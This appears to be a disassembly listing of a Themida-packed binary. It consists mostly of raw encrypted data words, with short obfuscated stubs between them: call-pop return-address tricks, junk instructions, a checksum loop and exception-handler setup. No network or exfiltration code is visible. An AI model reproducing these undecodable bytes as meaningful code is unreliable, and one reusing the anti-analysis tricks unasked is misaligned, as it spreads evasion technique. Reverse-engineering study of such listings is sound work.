dd 89FC07E4h, 0C486h, 0AD9D8900h, 8B07E405h, 0E41B7195h
dd 1D890F07h, 0F000000h, 178Ah, 12E900h, 63DF0000h, 0C193FE1Dh
dd 574B303Dh, 4CA8C124h, 43F36D51h, 8904C283h, 6A2050h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
dd 0DE3673C3h, 9A1F944Ah, 0CD4858Dh, 0F78107E8h, 2D74FF29h
dd 0B88689h, 0B70F0000h, 6A006ADFh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 89E8C352h
dd 0E41C1DBDh, 0A5B5FF07h, 0E907E7F8h, 0Ah, 7BC33F5h, 0B9E1A83Ch
dd 95FF1480h, 7E431ADh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 14h, 0E1C35343h, 6840Fh, 8D090000h, 7E424E1h
dd 1FF9BD89h, 0F5007E4h, 0B81h, 6E900h, 47960000h, 0D0F7A54Fh
dd 31243489h, 0E431B195h, 14E95307h, 0DD000000h, 4D70DE3Ch
dd 4D371E90h, 0A7C15D7Dh, 308C602Dh, 5FC60CC0h, 0F8A5B5FFh
dd 95FF07E7h, 7E41B11h, 83F98B66h, 0E40DF9BDh, 840F0007h
dd 49h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h
dd 5C35242h, 302644D2h, 19850Fh, 14E90000h, 7F000000h
dd 0DD9A16C8h, 5E332F59h, 0F109F4EFh, 84D245C6h, 9618DC39h
dd 8FBB6650h, 0F95696E1h, 0A5B5FF5Bh, 6A07E7F8h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 0FFFAC355h, 0E4027D95h, 53006A07h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 39B54323h
dd 7F84B43h, 0F9BD31E8h, 0FF07E41Dh, 0E7F8A5B5h, 8890F07h
dd 56000000h, 830Fh, 0FF5B0000h, 0E4097195h, 6C5ABF07h
dd 0B5892C81h, 7E42239h, 0A21BD83h, 0F0207E4h, 5184h, 0A98D0100h
dd 8B07E405h, 0E41EB585h, 56006A07h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 13E839E3h
dd 0DC000000h, 1021CA87h, 0BA936933h, 18FB1F3Bh, 0AA6B09BEh
dd 8D899E3Ah, 7E406A1h, 0C65Bh, 6319589h, 85C707E4h, 7E42671h
dd 0
; ---------------------------------------------------------------------------
sub [ebp+7E40691h], ebx
jmp loc_5D55A7
; ---------------------------------------------------------------------------
push 0
push esi
call sub_5D61FA
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D61FA proc near ; CODE XREF: Themida_:005D61F2p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_5D61FA endp
; ---------------------------------------------------------------------------
dw 0D089h
dd 75F652A5h, 0FE9h, 79803400h, 796A9079h, 77BAD763h, 0B2D9A4AEh
dd 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
dd 55450000h, 858D3AC3h, 7E40D85h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 0CCC35242h, 8AA3AF12h, 0BB66505Eh
dd 489A14Bh, 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1504h, 0C3514100h, 6AB306h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 19h, 16C35646h, 0EB53CF47h, 3006AAAh
dd 0E41FBD9Dh, 0D3858D07h, 6A07E93Fh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0D0F4C352h
dd 0C176F426h, 6DBD8B8Ah, 8307E421h, 526005C0h, 615B03B5h
dd 0F343BB90h, 90507B8Fh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 15h, 0BC35040h, 0C7816677h, 9D8B0FEFh, 7E40EF1h
dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
dd 52420000h, 0F2E6B3C3h, 8BC56DFBh, 0E40D699Dh, 6A006A07h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h
dd 40000000h, 514EC350h, 399D01F8h, 0FF07E401h, 0E4247195h
dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h
dd 0C3514100h, 8D8D3115h, 7E7D64Bh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ch, 63C35646h, 6A1DF768h, 0B3DE9184h
dd 1B999D89h, 0D1FF07E4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 18h, 62C35747h, 638C019Ah, 26E9B589h, 0BF6607E4h
dd 0BD83C4D2h, 7E42015h, 63850F01h, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
dd 7DA0C355h, 0F9B9D8B2h, 0DA8ADE8Bh, 9D03026Ah, 7E40F7Dh
dd 89DE8A50h, 0BD8B2404h, 7E40E69h, 31AD95FFh, 6A07E4h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
dd 8060ABC3h, 0C48036CCh, 29E96199h, 0E800000Dh, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 7E93FDDh
sbb edi, 3626A145h
or ebx, [ebp+7E42A95h]
lea eax, [ebp+7E7C6E1h]
jmp loc_5D648E
; ---------------------------------------------------------------------------
dw 489Ah
dd 0B964B798h
db 0ADh, 0E4h
; ---------------------------------------------------------------------------
loc_5D648E: ; CODE XREF: Themida_:005D6481j
nop
jmp loc_5D64A0
; ---------------------------------------------------------------------------
dd 0AF7510D3h, 0C93A870Ch, 20F2BDB1h
; ---------------------------------------------------------------------------
loc_5D64A0: ; CODE XREF: Themida_:005D648Fj
push eax
pusha
mov di, bx
mov eax, 571E074Ah
popa
nop
push 0
push ecx
call sub_5D64B7
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D64B7 proc near ; CODE XREF: Themida_:005D64AFp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_5D64B7 endp
; ---------------------------------------------------------------------------
db 0B3h
dd 603A8CE2h, 64ACFBD3h, 35FFh, 64F90000h, 2589h, 8D890000h
dd 7E425E9h, 2F95B589h, 85FF07E4h, 7E420B9h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0C2C35343h, 0EFA82AD6h
dd 6195899Eh, 6A07E41Ch, 0E9BD8BFFh, 0FF07E41Fh, 0E41D5DB5h
dd 35BD8B07h, 0FF07E400h, 0E4304D95h, 131E907h, 0BD8B0000h
dd 7E4185Dh, 8B6600B0h, 0E970E6DAh, 9, 6AAD0FE7h, 10238B74h
dd 8971E425h, 0E42A0595h, 0F613C07h, 10683h, 0DE900h, 0BE9B0000h
dd 78F4402Ah, 4322EE34h, 9A722AAh, 0E401F59Dh, 0C8B60F07h
dd 0E4DB589h, 0BAF907E4h, 6, 6E9h, 0BEF7F300h, 8B3244EEh
dd 0E8CF80C1h, 0E904E8C1h, 9, 0A33BEE3Fh, 20698E36h, 0E2F766C1h
dd 0C82B5F50h, 890Fh, 0CB30000h, 11E9D18Bh, 52000000h
dd 17FEB9C7h, 43F847F9h, 98C174B8h, 92FA3006h, 92E9h, 0DE8B6600h
dd 4C50858Bh, 8B664755h, 7C083FAh, 0D880Fh, 89600000h
dd 0E401F585h, 0AD4BBB07h, 96145FDh, 0E420E9B5h, 0C08307h
dd 2FDDBD89h, 0D03B07E4h, 16830Fh, 9D8B0000h, 7E403B1h
dd 1A4DB589h, 48E907E4h, 66000000h, 0DE60F381h, 0FFFF8D8Bh
dd 0BE9FFFFh, 0B6000000h, 0EDCC923Ah, 0A3F3071h, 85896A83h
dd 7E431CDh, 0F01E183h, 1E84h, 0FFA58300h, 0FEFFFFFFh
dd 66FAB70Fh, 0AF82EF81h, 4C509589h, 0BF664755h, 0E92137h
dd 8D000000h, 0E8B8FFB5h, 51006A07h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 33562A1Ch
dd 5EE37C57h, 9D8BE41Fh, 7E41F49h, 0BB66F98Bh, 6AA735h
dd 0F5FA8B66h, 0E4195FFh, 6A07E4h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 170424h, 50400000h, 0BDA5FDC3h, 0B7E7805Eh
dd 0EE9h, 2D486500h, 50B09A8Bh, 345F8673h, 0B993F877h
dd 1015h, 138A0Fh, 840F0000h, 0Dh, 8E9h, 373F5300h, 8DEAEF34h
dd 0DA8B660Ah, 6AFCE183h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1C042444h, 42000000h, 0FBBDC352h, 0DC24C466h
dd 0FC188F95h, 0CE9h, 41127600h, 23A6FBFDh, 585CC37Dh
dd 6AFC80h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 0C1AC3h, 74CD759Eh, 9D8B3904h, 7E41CA9h
dd 68F0Fh, 8D310000h, 7E42D95h, 0B8h, 90BF6600h, 0AE8E4h
dd 57260000h, 0FAD10159h, 680B3A39h, 165D9D2Bh, 0BA5F07E4h
dd 0
; ---------------------------------------------------------------------------
cmc
loc_5D6795: ; CODE XREF: Themida_:005D679Fj
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_5D6795
add [ebp+7E43149h], ebx
mov di, ax
or eax, 88h
or bx, 4639h
mov edx, [ebp+7E41B71h]
push 0
push edx
call sub_5D67C5
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D67C5 proc near ; CODE XREF: Themida_:005D67BDp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_5D67C5 endp
; ---------------------------------------------------------------------------
db 5Eh, 9Dh, 8Bh
dd 0E422459Dh, 0A18D8B07h, 0F07E42Dh, 68Ah, 0BD9D8900h
dd 5007E42Eh, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h
dd 0F3F78158h, 0F6584A4h, 0BD83DFB7h, 7E40611h, 93840F00h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 14042444h, 41000000h, 897AC351h, 0E42D3595h, 0B807h
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 6E9FF1C3h, 7DED20A5h, 9D8B26BDh, 7E41A11h
dd 8618BF66h, 4FE78D8Dh, 6A07E4h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1C0424h, 56460000h, 0BEB361C3h, 0E09FA3F2h
dd 0B5894BD1h, 7E40921h, 9D8BE1FFh, 7E405BDh, 27019D23h
dd 0BD8307E4h, 7E422B9h, 7C840F00h, 23000004h, 0E41E759Dh
dd 0B9BD8307h, 107E422h, 484840Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 19E7AEC3h
dd 6D9F46D8h, 11E8h, 6C0B1E00h, 0E7C8A63Eh, 0A6D9C003h
dd 31F21421h, 820FE047h, 6, 8F7E381h, 665B45E3h, 0BD83DE8Bh
dd 7E422B9h, 0F9860F03h, 6A000003h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 9C6CC351h
dd 839E26FAh, 33683F5Eh, 11E8h, 0BDA48200h, 8C981707h
dd 65169DC8h, 7C5A27BFh, 895F7994h, 0E40A1995h, 6A6007h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 14893FC3h, 662D6B5Ah, 0BF0FD98Ch, 4E180F9h, 3559BD8Bh
dd 0C90A07E4h, 133840Fh, 8B660000h, 51858BFAh, 0F07E406h
dd 0A81h, 8D8B6000h, 7E413A9h, 3361D88Bh, 0E4202985h, 0FDB50907h
dd 9007E400h, 0AB11BF66h, 0A5BB6650h, 6A9057h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 59FB0EC3h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1B0424h, 51410000h, 0B5B065C3h, 1AC02E28h, 0E85F5028h
dd 4, 1F03FFh, 9E850h, 8F550000h, 78D56CD8h, 0E9C2182Fh
dd 5, 4A351AAh, 448B5FBEh, 50530424h, 13E952h, 466E0000h
dd 3AD65245h, 957C9132h, 42E87F2Fh, 0EB669821h, 0E8310FFFh
dd 8, 7A625EFCh, 145F26FDh, 5B585A5Bh, 4489008Bh, 0FF580424h
dd 0E42D9995h, 51006A07h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1C04h, 0C3514100h, 785661F1h, 7E4054B6h
dd 7D8D890Ah, 8B07E419h, 0E401399Dh, 0A5858907h, 0B307E7F8h
dd 20AE937h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 170424h, 57470000h, 5E0C38C3h, 9D858B32h, 6A07E7F8h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h
dd 42000000h, 8B39C352h, 0E416B59Dh, 0B0BB6607h, 1800C726h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 15042444h, 40000000h, 4D45C350h, 23CF8166h, 0A1B58BC3h
dd 0E807E7F8h, 11h, 0A1FC9C2Eh, 0E779765Ch, 55BC293Ah
dd 0E7E20447h, 68B0FDDh, 9000000h, 0E41EB995h, 0F3815B07h
dd 62BCECC4h, 99858Bh, 9D2907E4h, 7E4249Dh, 0BD8B0689h
dd 7E41925h, 651858Bh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1D0424h, 52420000h, 7A1F34C3h, 0A8839088h
dd 0BBBD750Eh, 1784ED17h, 6A044689h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0AD9BC356h
dd 29BBED7Eh, 0BD8B64B3h, 7E40E11h, 0DE996h, 0A3FB0000h
dd 938AB676h, 38CF26ADh, 505B9EEEh, 10E9h, 2F7B0200h, 7F303145h
dd 85D7E423h, 1D7A8232h, 0EB81964Fh, 36A124D4h, 0D2BCBF66h
dd 0F89DB5FFh, 6A07E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 150424h, 52420000h, 0F818CC3h, 688h, 2DBD2900h, 6807E41Bh
dd 79230CB5h, 34810AB7h, 3C0F4A24h, 52006A79h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 8CB0A6F6h
dd 9E7F7560h, 0F8A5858Dh, 6A07E7h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 140424h, 52420000h, 0B58903C3h, 7E40271h
dd 0D88B6650h, 6A240489h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 18042444h, 41000000h, 43ADC351h, 897539DFh
dd 0E4140D85h, 0FABF0F07h, 2D9995FFh, 0BD8B07E4h, 7E42D45h
dd 13E961h, 0DADF0000h, 0BA3046F3h, 0FEA7FCBAh, 133BFEF5h
dd 42BE833Eh, 0B985C727h, 307E422h, 52000000h, 0BD835FF8h
dd 7E7F8A5h, 2D840F00h, 8B000000h, 41E9F9h, 870F0000h
dd 17h, 0CE8h, 0B6DD3900h, 2E1F48A7h, 0E941868Dh, 7107BFD3h
dd 0F5B5314h, 38Bh, 0FFB70F00h, 110C3050h, 1114400h, 3010E8C1h
dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh
dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
dd 0EBE77504h, 6AC08B00h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 16042444h, 47000000h, 0EA86C357h, 84BB666Eh
dd 7D9D8BE4h, 8307E416h, 0E422B9BDh, 850F0307h, 3BBh, 0BD48DB81h
dd 0BD835730h, 7E7F8A5h, 0A8840F00h, 8B000003h, 0E417D1BDh
dd 0A5B5FF07h, 0BF07E7F8h, 75C7EECCh, 44D95FFh, 0B58B07E4h
dd 7E7F899h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ah, 0C35545h, 840B76EEh, 8BF84F90h, 0E41979BDh, 106C707h
dd 6A000100h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1D042444h, 41000000h, 295FC351h, 9E5CC9EFh, 2594A8F9h
dd 0B9666096h, 8A0FFD64h, 2, 5061F98Bh, 68E0F96h, 8B000000h
dd 0E405C59Dh, 0A5B5FF07h, 6A07E7F8h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 17042444h, 40000000h, 0DF00C350h
dd 9D8BCC1Ch, 7E423F1h, 2A0995FFh, 0CE907E4h, 79000000h
dd 0F7E8FA66h, 0E2C83B9Dh, 8B99EA43h, 0E7F899B5h, 56006A07h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 7B8484EFh, 9FA49419h, 65858BFBh, 6A07E431h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 9D1C356h, 0B2BF6654h, 6D953134h, 8907E42Ch, 0C486h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h
dd 0C3504000h, 14AFCD3Eh, 958BCC10h, 7E41B71h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0D3C35242h, 81667F2Bh
dd 0F1C4FE7h, 689h, 6FC38100h, 830D88A5h, 6A04C2h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 31F4D7C3h, 97FB5B1h, 0E417F19Dh, 20508907h, 860Fh, 858D0000h
dd 7E80CD4h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 19h, 97C35646h, 0C870B353h, 0F7816601h, 8166B4ECh, 31102EC3h
dd 0E418B185h, 0B8868907h, 29000000h, 0E42B5D9Dh, 66006A07h
dd 0CE2FD781h, 20B1BD8Bh, 0B5FF07E4h, 7E7F8A5h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch
dd 1FC35646h, 0B3BE820Eh, 0A3AB398Dh, 18C9BD8Bh, 95FF07E4h
dd 7E431ADh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 19h, 1FC35242h, 0CF7E7F15h, 10E95080h, 92000000h, 0A169A1B3h
dd 0FCDB5EC7h, 304CD976h, 8931D200h, 9D8B2434h, 7E400B5h
dd 0F8A5B5FFh, 0C3BF07E7h, 891B4787h, 0E41C9185h, 1195FF07h
dd 8907E41Bh, 0E40F15BDh, 0F9BD8307h, 7E40Dh, 2C840Fh
dd 0BF660000h, 8589CC84h, 7E40B35h, 0CE850h, 0E8410000h
dd 12FAB024h, 0C2E4F05Dh, 66569713h, 5B3CD8BBh, 2434895Bh
dd 9059D8Bh, 0B5FF07E4h, 7E7F8A5h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 19h, 77C35646h, 65C2CEB9h, 7D95FFA3h
dd 2B07E402h, 0E40B89BDh, 0A5B5FF07h, 0FF07E7F8h, 0E4097195h
dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h
dd 0C3574700h, 83A1351Dh, 0E40A21BDh, 840F0207h, 5Bh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0B2C35646h, 8B66357Fh
dd 0B5858BDAh, 6A07E41Eh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 15042444h, 47000000h, 0DC1EC357h, 8A46BB66h
dd 2145BD8Bh, 0C607E4h, 89525700h, 0E412BDB5h, 0C75B5F07h
dd 0E4267185h, 7, 519D8B00h, 0E907E41Eh, 0FFFFF3B7h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0B5C35141h, 8B26034Dh
dd 852960C1h, 7E41269h, 61D78B66h, 0D85858Dh, 6A07E4h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 3A43B2C3h, 663937BFh, 0BB669079h, 90508107h, 0BE8h
dd 8C9E3900h, 9575616h, 0E68593A2h, 47FCD381h, 6A5B73ADh
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h
dd 0C3554500h, 0A70A2B80h, 0A206BBACh, 6A72B5h, 8D74EF80h
dd 0E94F4D85h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1D04h, 0C3574700h, 0A3AF12CCh, 0AC205E8Ah
dd 0B5290EE4h, 7E41815h, 6A05C083h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1B042444h, 40000000h, 96BDC350h
dd 0D1CF358Bh, 0BD8BF698h, 7E40111h, 57525090h, 0E9310F5Fh
dd 0Ah, 0C372E781h, 0CC6F5DABh, 585A4538h, 850F5150h, 17h
dd 11E8h, 0DAEA4A00h, 0A1EEC590h, 0BA49A49Eh, 7F6A66E9h
dd 5B5BA0BDh, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1904h, 0C3514100h, 539E3633h, 81666AC8h, 8BD559CBh
dd 0E4091D9Dh, 619D2907h, 6A07E41Eh, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 55D1E296h
dd 213FEDBAh, 6A006AF3h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1D042444h, 45000000h, 0A838C355h, 687135EDh
dd 58CD9165h, 5BD88B50h, 247195FFh, 0E96007E4h, 6, 85FC603Dh
dd 0B509CAC9h, 7E41815h, 4B8D8D61h, 6A07E7D6h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
dd 53BDC350h, 66EEB391h, 0E8BF381h, 6AD1FFh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 2969F9C3h
dd 60755381h, 15BD8384h, 107E420h, 4A850Fh, 81660000h
dd 6A40D3EBh, 0DE8B6602h, 50525150h, 5A310F52h, 895F5B58h
dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
dd 55450000h, 0AB3802C3h, 6399D01h, 9D2907E4h, 7E41609h
dd 31AD95FFh, 0DE8B07E4h, 0DAAE9h, 0E800h, 815D0000h, 0E94F57EDh
dd 0F19D8B07h, 0BF07E432h, 2CA11F21h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ch, 85C35747h, 268E3D5Fh, 94C1D82Ah
dd 8DF9BF0Fh, 0E7C6E185h, 4895007h, 53006A24h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0CFA2ADF7h
dd 9D9D0B84h, 8B07E424h, 0E41AC1BDh, 35FF6407h, 0
; ---------------------------------------------------------------------------
mov edi, 3CD8C55Dh
mov large fs:0, esp
mov edi, ecx
inc dword ptr [ebp+7E420B9h]
push 0
push edx
call sub_5D7477
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D7477 proc near ; CODE XREF: Themida_:005D746Fp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_5D7477 endp
; ---------------------------------------------------------------------------
db 0E0h
dd 896E9A01h, 0E40509BDh, 8D0F5607h, 6, 21C99D8Bh, 6A5F07E4h
dd 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h
dd 0C3524200h, 0B5FF3A84h, 7E42BF1h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ch, 0B4C35343h, 5B32B41Bh, 0D54A7963h
dd 6FC478BFh, 4D95FF11h, 0E907E430h, 0FFh, 0CD836BFh, 0BF00B079h
dd 1C462155h, 6E970E6h, 0E2000000h, 93166342h, 6671E4B9h
dd 613CD98Bh, 0D9830Fh, 0BD8B0000h, 7E42E11h, 0FC8B60Fh
dd 6BADFBFh, 0F000000h, 8166FBBFh, 8BBFB9F7h, 518D89C1h
dd 0C107E433h, 0BB6604E8h, 0F76671FDh, 6890FE2h, 89000000h
dd 0E42FED85h, 8BC82B07h, 0E41B41BDh, 80D18B07h, 90E9DCCBh
dd 0B000000h, 0E416A19Dh, 0AE907h, 0FE500000h, 923F0868h
dd 8E06BEDFh, 4E49858Bh, 0BD8B4400h, 7E42229h, 8007C083h
dd 0C083EAEBh, 0BE800h, 31A90000h, 97A9942Ch, 0BE4570Bh
dd 5BF88B62h, 830FD03Bh, 0Dh, 1CBDBD8Bh, 40E907E4h, 0B7000000h
dd 0FF8D8B38h, 89FFFFFFh, 0E42B6195h, 1E18307h, 29840Fh
dd 0BB660000h, 0A583F098h, 0FFFFFFFFh, 0BD9D8BFEh, 0BF07E40Eh
dd 1A0E86DCh, 4E499589h, 8A0F4400h, 2, 0E9D98Bh, 8D000000h
dd 0E8C914B5h, 3D9D0307h, 0E807E415h, 12h, 7A06A29Ah, 0D9C838D9h
dd 0A076B55Eh, 8CE38AA6h, 5FF596A5h, 6A006Ah, 3E850h, 58200000h
dd 448958C3h, 44810424h, 190424h, 50400000h, 312D3EC3h
dd 89882568h, 0E4034595h, 0DF816607h, 95FFB65Eh, 7E40E41h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 54C35040h
dd 0B8DA0248h, 0BD8BBD85h, 7E42559h, 1219D8Bh, 0C3B907E4h
dd 6A000010h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1D042444h, 41000000h, 0F74DC351h, 4D958AE8h, 78D84B63h
dd 9529DE8Ah, 7E42E05h, 0BBFCE183h, 4B97C2A2h, 53006AFCh
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 0DBD8BFDh, 0F07E415h, 0B8FFB7h, 81000000h, 0C8514CD3h
dd 0BA32h, 33AD0000h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 0E9B87BC3h, 14h, 61455F3h, 740D4774h, 547E02C4h, 371B55C8h
dd 0C470DC0h, 66D8B70Fh, 0D4A62BBh, 88h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 18h, 66C35141h, 26919CD9h
dd 17D8589h, 816607E4h, 8B7BC6F7h, 0E41B7195h, 56006A07h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 0AD2C18A9h, 0CEF6DDF9h, 0FDF8B66h, 688h, 45EB8100h
dd 8B2894E1h, 0E42DA18Dh, 51006A07h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 34505B49h
dd 320B9406h, 8B5039D8h, 3188BC2h, 8B188BC1h, 3E8D1C1h
dd 58188BC2h, 6679B260h, 6A61D18Bh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 6192C353h
dd 611BD83h, 0F0007E4h, 7884h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1404h, 0C3504000h, 0BE9A9h, 0A1950000h
dd 0FECFBC3Bh, 16C14A6Dh, 0B8B1h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 170424h, 53430000h, 6AFE42C3h
dd 0E78D8D67h, 6A07E44Fh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 4E8CC350h, 0B7E1FF08h
dd 0B9BD838Ah, 7E422h, 3E4840Fh, 0CB800000h, 0B9BD8346h
dd 107E422h, 3EF840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1B0424h, 56460000h, 9CA592C3h, 2349CFBDh
dd 0B9BD834Eh, 307E422h, 389860Fh, 0DD8A0000h, 299D8B60h
dd 6607E421h, 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1C0424h, 53430000h, 0EFFDCDC3h, 0B1EA8B5Dh, 8589A418h
dd 7E4272Dh, 0E804E180h, 10h, 884C3E5h, 5E7F353Bh, 0DED69E83h
dd 0D893476Ah, 2BF9BD89h, 0A5B07E4h, 0E8840FC9h, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h
dd 41000000h, 1824C351h, 0F95BA0A1h, 0C1BD89C3h, 8B07E401h
dd 0E4065185h, 0BD8B6007h, 7E4322Dh, 21A18D8Bh, 336107E4h
dd 0E4202985h, 8B509007h, 8B6690FAh, 1751BBDFh, 6A0CC7h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 5EC35747h
dd 7D99336h, 2BADB633h, 37BF66F8h, 61D86867h, 34813249h
dd 56622724h, 10E832h, 6C6B0000h, 0EB45899Eh, 1B86A754h
dd 0AF65460Eh, 0FF5FCAFCh, 0E42D9995h, 51006A07h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 9501C586h, 7E42DFDh, 0A58589F8h, 0E807E7F8h, 9, 0EE44DA86h
dd 0C135BD32h, 0DF8166CFh, 0E95B7341h, 1E8h, 8BDBBF0Fh
dd 0E7F89D85h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1604h, 0C3534300h, 0FE4D73Dh, 0C7DAB7h, 18h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0F1C35343h
